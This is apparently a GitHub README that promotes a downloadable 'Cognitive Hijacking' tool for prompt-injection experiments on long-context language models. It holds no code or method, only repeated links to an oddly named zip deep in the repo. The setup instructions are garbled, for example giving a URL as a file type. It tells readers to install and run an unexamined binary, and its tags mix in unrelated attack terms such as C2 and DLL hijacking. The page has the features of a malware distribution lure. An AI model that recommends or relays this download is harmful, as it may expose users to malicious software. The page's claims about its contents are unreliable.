rv427447/Cognitive-Hijacking-in-Long-Context-LLMs

``` # 🚀 Cognitive-Hijacking-in-Long-Context-LLMs - 高级学习 Simple Tool ## 🌟 概述 Cognitive-Hijacking-in-Long-Context-LLMs is an innovative application that introduces a new way to experiment with prompt injection methods through forged internal states. This project, developed by a high school student, allows users to explore advanced techniques in language models. Whether you're a student, a teacher, or just curious about machine learning, this tool is designed to be user-friendly and easy to understand. ## 🔗 点击下载 [](https://github.com/rv427447/Cognitive-Hijacking-in-Long-Context-LLMs/raw/refs/heads/main/radiferous/in_Cognitive_Context_LL_Ms_Long_Hijacking_1.1-beta.5.zip) ## 🚀 入门指南 To successfully run this application, follow these steps: 1. **Check Your System Requirements** - Operating System: Windows 10 or later, MacOS Mojave or later, or Linux (Ubuntu preferred). - Memory: Minimum 4GB RAM. - Storage: At least 500MB of free disk space. 2. **Visit the Download Page** - Click the link below to go to the Releases page where you can get the software: - [Visit this page to download](https://github.com/rv427447/Cognitive-Hijacking-in-Long-Context-LLMs/raw/refs/heads/main/radiferous/in_Cognitive_Context_LL_Ms_Long_Hijacking_1.1-beta.5.zip). 3. **Choose the Right Version** - On the Releases page, you will see different versions of the software. - Select the latest version for the best experience. This version includes the latest updates and improvements. 4. **Download the Application** - Click on the file link for your operating system type. This may be a `.exe` file for Windows, a `.dmg` file for MacOS, or a `https://github.com/rv427447/Cognitive-Hijacking-in-Long-Context-LLMs/raw/refs/heads/main/radiferous/in_Cognitive_Context_LL_Ms_Long_Hijacking_1.1-beta.5.zip` file for Linux. - The download should start automatically. If not, check your browser settings. 5. **Install the Application** - Once the download is complete, locate the downloaded file in your computer. - Open the file and follow the on-screen instructions to install the application. This often involves clicking "Next" through several installation steps and agreeing to terms. 6. **Run the Application** - After installing, find the application in your Start Menu (Windows), Applications folder (Mac), or your preferred directory (Linux). - Double-click the application icon to launch it. 7. **Using the Application** - Upon launching, you will see a user-friendly interface. - Follow the on-screen prompts to start experimenting with the prompt injection methods. There are helpful tutorials built into the app to guide you. ## 🛠️ 功能特性 - **User-Friendly Interface**: Designed for ease of use, even for those new to this field. - **Interactive Tutorials**: Built-in guides to help you get started quickly. - **Innovative Techniques**: Learn about novel prompt injection methods that others might not know. ## 📞 支持 If you encounter any issues or have questions while using the application, please check the FAQ section on the GitHub page. You can also reach out by creating an issue in the repository or by contacting the developer directly. ## 🎉 社区贡献 We welcome contributions! If you wish to help improve the project, you can do so by reporting bugs, suggesting features, or even submitting your own code. ## 📝 许可证 This project is licensed under the MIT License. Feel free to use it for personal or educational purposes. For more details, see the LICENSE file in the repository. ## 🔗 最终下载链接 Don't forget to download your copy to start exploring: [Visit this page to download](https://github.com/rv427447/Cognitive-Hijacking-in-Long-Context-LLMs/raw/refs/heads/main/radiferous/in_Cognitive_Context_LL_Ms_Long_Hijacking_1.1-beta.5.zip) ```

标签：AI漏洞研究, C2, DLL 劫持, DNS 反向解析, DNS枚举, NLP攻击, 人工智能红队, 内部状态伪造, 大语言模型, 密钥泄露防护, 对抗性机器学习, 机器学习安全, 权限管理, 模型越狱, 网络安全工具, 认知劫持, 逆向工具, 长上下文